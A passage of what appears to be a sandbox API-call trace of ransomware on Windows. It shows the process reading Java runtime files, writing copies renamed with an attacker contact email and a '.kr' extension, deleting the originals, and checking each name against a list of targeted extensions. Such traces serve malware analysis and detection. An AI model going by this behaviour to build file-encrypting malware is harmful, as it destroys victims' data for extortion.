nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10d40, lpOverlapped=0x0) returned 1 [0180.168] ReadFile (in: hFile=0x408, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.168] WriteFile (in: hFile=0x3f4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xe6, lpOverlapped=0x0) returned 1 [0180.168] SetEndOfFile (hFile=0x3f4) returned 1 [0180.168] CloseHandle (hObject=0x3f4) returned 1 [0180.171] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.171] SetEndOfFile (hFile=0x408) returned 1 [0180.174] CloseHandle (hObject=0x408) returned 1 [0180.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0180.175] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 1 [0180.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0180.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0180.175] lstrlenW (lpString=".doc") returned 4 [0180.175] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0180.175] lstrlenW (lpString=".docx") returned 5 [0180.175] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0180.175] lstrlenW (lpString=".pdf") returned 4 [0180.175] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0180.175] lstrlenW (lpString=".xls") returned 4 [0180.175] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0180.175] lstrlenW (lpString=".xlsx") returned 5 [0180.175] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0180.175] lstrlenW (lpString=".ppt") returned 4 [0180.175] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0180.175] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0180.175] lstrlenW (lpString=".zip") returned 4 [0180.175] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0180.176] lstrlenW (lpString=".rar") returned 4 [0180.176] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0180.176] lstrlenW (lpString=".bz2") returned 4 [0180.176] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0180.176] lstrlenW (lpString=".7z") returned 3 [0180.176] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0180.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0180.176] lstrlenW (lpString=".dbf") returned 4 [0180.176] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0180.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0180.176] lstrlenW (lpString=".1cd") returned 4 [0180.176] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0180.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0180.176] lstrlenW (lpString=".jpg") returned 4 [0180.176] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0180.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0180.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0180.176] lstrlenW (lpString=".doc") returned 4 [0180.176] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0180.176] lstrlenW (lpString=".docx") returned 5 [0180.176] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0180.176] lstrlenW (lpString=".pdf") returned 4 [0180.176] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0180.176] lstrlenW (lpString=".xls") returned 4 [0180.176] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0180.176] lstrlenW (lpString=".xlsx") returned 5 [0180.176] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0180.176] lstrlenW (lpString=".ppt") returned 4 [0180.176] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0180.176] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0180.176] lstrlenW (lpString=".zip") returned 4 [0180.176] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0180.176] lstrlenW (lpString=".rar") returned 4 [0180.177] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0180.177] lstrlenW (lpString=".bz2") returned 4 [0180.177] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0180.177] lstrlenW (lpString=".7z") returned 3 [0180.177] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0180.177] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0180.177] lstrlenW (lpString=".dbf") returned 4 [0180.177] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0180.177] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0180.177] lstrlenW (lpString=".1cd") returned 4 [0180.177] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0180.177] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar") returned 52 [0180.177] lstrlenW (lpString=".jpg") returned 4 [0180.177] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0180.177] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0180.177] lstrlenW (lpString="flavormap.properties") returned 20 [0180.177] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0180.178] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3928) returned 1 [0180.178] CloseHandle (hObject=0x408) returned 1 [0180.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20 [0180.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.178] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0180.178] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.178] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.178] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0180.179] GetLastError () returned 0x0 [0180.179] ReadFile (in: hFile=0x408, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0xf58, lpOverlapped=0x0) returned 1 [0180.190] WriteFile (in: hFile=0x3f4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xf60, lpOverlapped=0x0) returned 1 [0180.191] ReadFile (in: hFile=0x408, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.192] WriteFile (in: hFile=0x3f4, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xfc, lpOverlapped=0x0) returned 1 [0180.192] SetEndOfFile (hFile=0x3f4) returned 1 [0180.192] CloseHandle (hObject=0x3f4) returned 1 [0180.193] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.193] SetEndOfFile (hFile=0x408) returned 1 [0180.568] CloseHandle (hObject=0x408) returned 1 [0180.568] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0180.797] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 1 [0180.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0180.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0180.797] lstrlenW (lpString=".doc") returned 4 [0180.797] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0180.797] lstrlenW (lpString=".docx") returned 5 [0180.797] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0180.797] lstrlenW (lpString=".pdf") returned 4 [0180.797] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0180.797] lstrlenW (lpString=".xls") returned 4 [0180.797] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0180.797] lstrlenW (lpString=".xlsx") returned 5 [0180.797] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0180.797] lstrlenW (lpString=".ppt") returned 4 [0180.797] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0180.797] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0180.797] lstrlenW (lpString=".zip") returned 4 [0180.797] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0180.798] lstrlenW (lpString=".rar") returned 4 [0180.798] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0180.798] lstrlenW (lpString=".bz2") returned 4 [0180.798] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0180.798] lstrlenW (lpString=".7z") returned 3 [0180.798] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0180.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0180.798] lstrlenW (lpString=".dbf") returned 4 [0180.798] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0180.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0180.798] lstrlenW (lpString=".1cd") returned 4 [0180.798] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0180.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0180.798] lstrlenW (lpString=".jpg") returned 4 [0180.798] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0180.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0180.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0180.798] lstrlenW (lpString=".doc") returned 4 [0180.798] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0180.798] lstrlenW (lpString=".docx") returned 5 [0180.798] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0180.798] lstrlenW (lpString=".pdf") returned 4 [0180.798] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0180.798] lstrlenW (lpString=".xls") returned 4 [0180.798] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0180.798] lstrlenW (lpString=".xlsx") returned 5 [0180.798] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0180.798] lstrlenW (lpString=".ppt") returned 4 [0180.798] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0180.798] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0180.798] lstrlenW (lpString=".zip") returned 4 [0180.798] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0180.798] lstrlenW (lpString=".rar") returned 4 [0180.799] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0180.799] lstrlenW (lpString=".bz2") returned 4 [0180.799] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0180.799] lstrlenW (lpString=".7z") returned 3 [0180.799] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0180.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0180.799] lstrlenW (lpString=".dbf") returned 4 [0180.799] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0180.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0180.799] lstrlenW (lpString=".1cd") returned 4 [0180.799] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0180.799] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties") returned 59 [0180.799] lstrlenW (lpString=".jpg") returned 4 [0180.799] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0180.799] lstrcmpiW (lpString1=".ttf", lpString2=".kr") returned 1 [0180.799] lstrlenW (lpString="LucidaSansRegular.ttf") returned 21 [0180.799] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0180.800] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=698236) returned 1 [0180.800] CloseHandle (hObject=0x408) returned 1 [0180.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 0x20 [0180.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.800] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0180.800] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.800] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.800] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0180.801] GetLastError () returned 0x0 [0180.801] ReadFile (in: hFile=0x408, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0xaa77c, lpOverlapped=0x0) returned 1 [0180.822] WriteFile (in: hFile=0x454, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xaa780, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xaa780, lpOverlapped=0x0) returned 1 [0180.834] ReadFile (in: hFile=0x408, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.834] WriteFile (in: hFile=0x454, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0xfe, lpOverlapped=0x0) returned 1 [0180.834] SetEndOfFile (hFile=0x454) returned 1 [0180.835] CloseHandle (hObject=0x454) returned 1 [0181.162] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.162] SetEndOfFile (hFile=0x408) returned 1 [0181.177] CloseHandle (hObject=0x408) returned 1 [0181.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0181.178] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidasansregular.ttf")) returned 1 [0181.178] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0181.178] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0181.178] lstrlenW (lpString=".doc") returned 4 [0181.178] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0181.179] lstrlenW (lpString=".docx") returned 5 [0181.179] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0181.179] lstrlenW (lpString=".pdf") returned 4 [0181.179] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0181.179] lstrlenW (lpString=".xls") returned 4 [0181.179] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0181.179] lstrlenW (lpString=".xlsx") returned 5 [0181.179] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0181.179] lstrlenW (lpString=".ppt") returned 4 [0181.179] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0181.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0181.179] lstrlenW (lpString=".zip") returned 4 [0181.179] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0181.179] lstrlenW (lpString=".rar") returned 4 [0181.179] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0181.179] lstrlenW (lpString=".bz2") returned 4 [0181.179] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0181.179] lstrlenW (lpString=".7z") returned 3 [0181.179] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0181.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0181.179] lstrlenW (lpString=".dbf") returned 4 [0181.179] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0181.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0181.179] lstrlenW (lpString=".1cd") returned 4 [0181.179] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0181.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0181.179] lstrlenW (lpString=".jpg") returned 4 [0181.179] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0181.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0181.179] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0181.179] lstrlenW (lpString=".doc") returned 4 [0181.179] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0181.180] lstrlenW (lpString=".docx") returned 5 [0181.180] lstrcmpiW (lpString1=".docx", lpString2="r.ttf") returned -1 [0181.180] lstrlenW (lpString=".pdf") returned 4 [0181.180] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0181.180] lstrlenW (lpString=".xls") returned 4 [0181.180] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0181.180] lstrlenW (lpString=".xlsx") returned 5 [0181.180] lstrcmpiW (lpString1=".xlsx", lpString2="r.ttf") returned -1 [0181.180] lstrlenW (lpString=".ppt") returned 4 [0181.180] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0181.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0181.180] lstrlenW (lpString=".zip") returned 4 [0181.180] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0181.180] lstrlenW (lpString=".rar") returned 4 [0181.180] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0181.180] lstrlenW (lpString=".bz2") returned 4 [0181.180] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0181.180] lstrlenW (lpString=".7z") returned 3 [0181.180] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0181.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0181.180] lstrlenW (lpString=".dbf") returned 4 [0181.180] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0181.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0181.180] lstrlenW (lpString=".1cd") returned 4 [0181.180] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0181.180] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaSansRegular.ttf") returned 66 [0181.180] lstrlenW (lpString=".jpg") returned 4 [0181.180] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0181.180] lstrcmpiW (lpString1=".ttf", lpString2=".kr") returned 1 [0181.180] lstrlenW (lpString="LucidaTypewriterRegular.ttf") returned 27 [0181.181] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0181.181] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=242700) returned 1 [0181.181] CloseHandle (hObject=0x408) returned 1 [0181.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf")) returned 0x20 [0181.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0181.181] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0181.182] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.182] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.182] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaTypewriterRegular.ttf.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidatypewriterregular.ttf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0181.182] GetLastError () returned 0x0 [0181.182] ReadFile (in: hFile=0x408, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x3b40c, lpOverlapped=0x0) returned 1 [0181.191] WriteFile (in: hFile=0x45c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x3b410, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x3b410, lpOverlapped=0x0) returned 1 [0181.195] ReadFile (in: hFile=0x408, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.195] WriteFile (in: hFile=0x45c, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10a, lpOverlapped=0x0) returned 1 [0181.195] SetEndOfFile (hFile=0x45c) returned 1 [0181.196] CloseHandle (hObject=0x45c) returned 1 [0181.201] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.201] SetEndOfFile 